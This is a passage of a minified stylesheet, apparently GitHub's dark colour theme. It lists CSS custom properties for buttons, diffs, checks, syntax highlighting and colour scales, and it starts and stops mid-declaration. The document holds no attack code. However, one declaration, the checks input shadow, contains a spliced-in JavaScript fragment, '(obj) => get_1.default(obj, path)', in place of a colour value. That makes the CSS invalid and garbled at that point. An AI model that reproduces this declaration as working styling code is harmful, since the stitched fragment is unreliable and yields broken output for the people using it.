#8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: 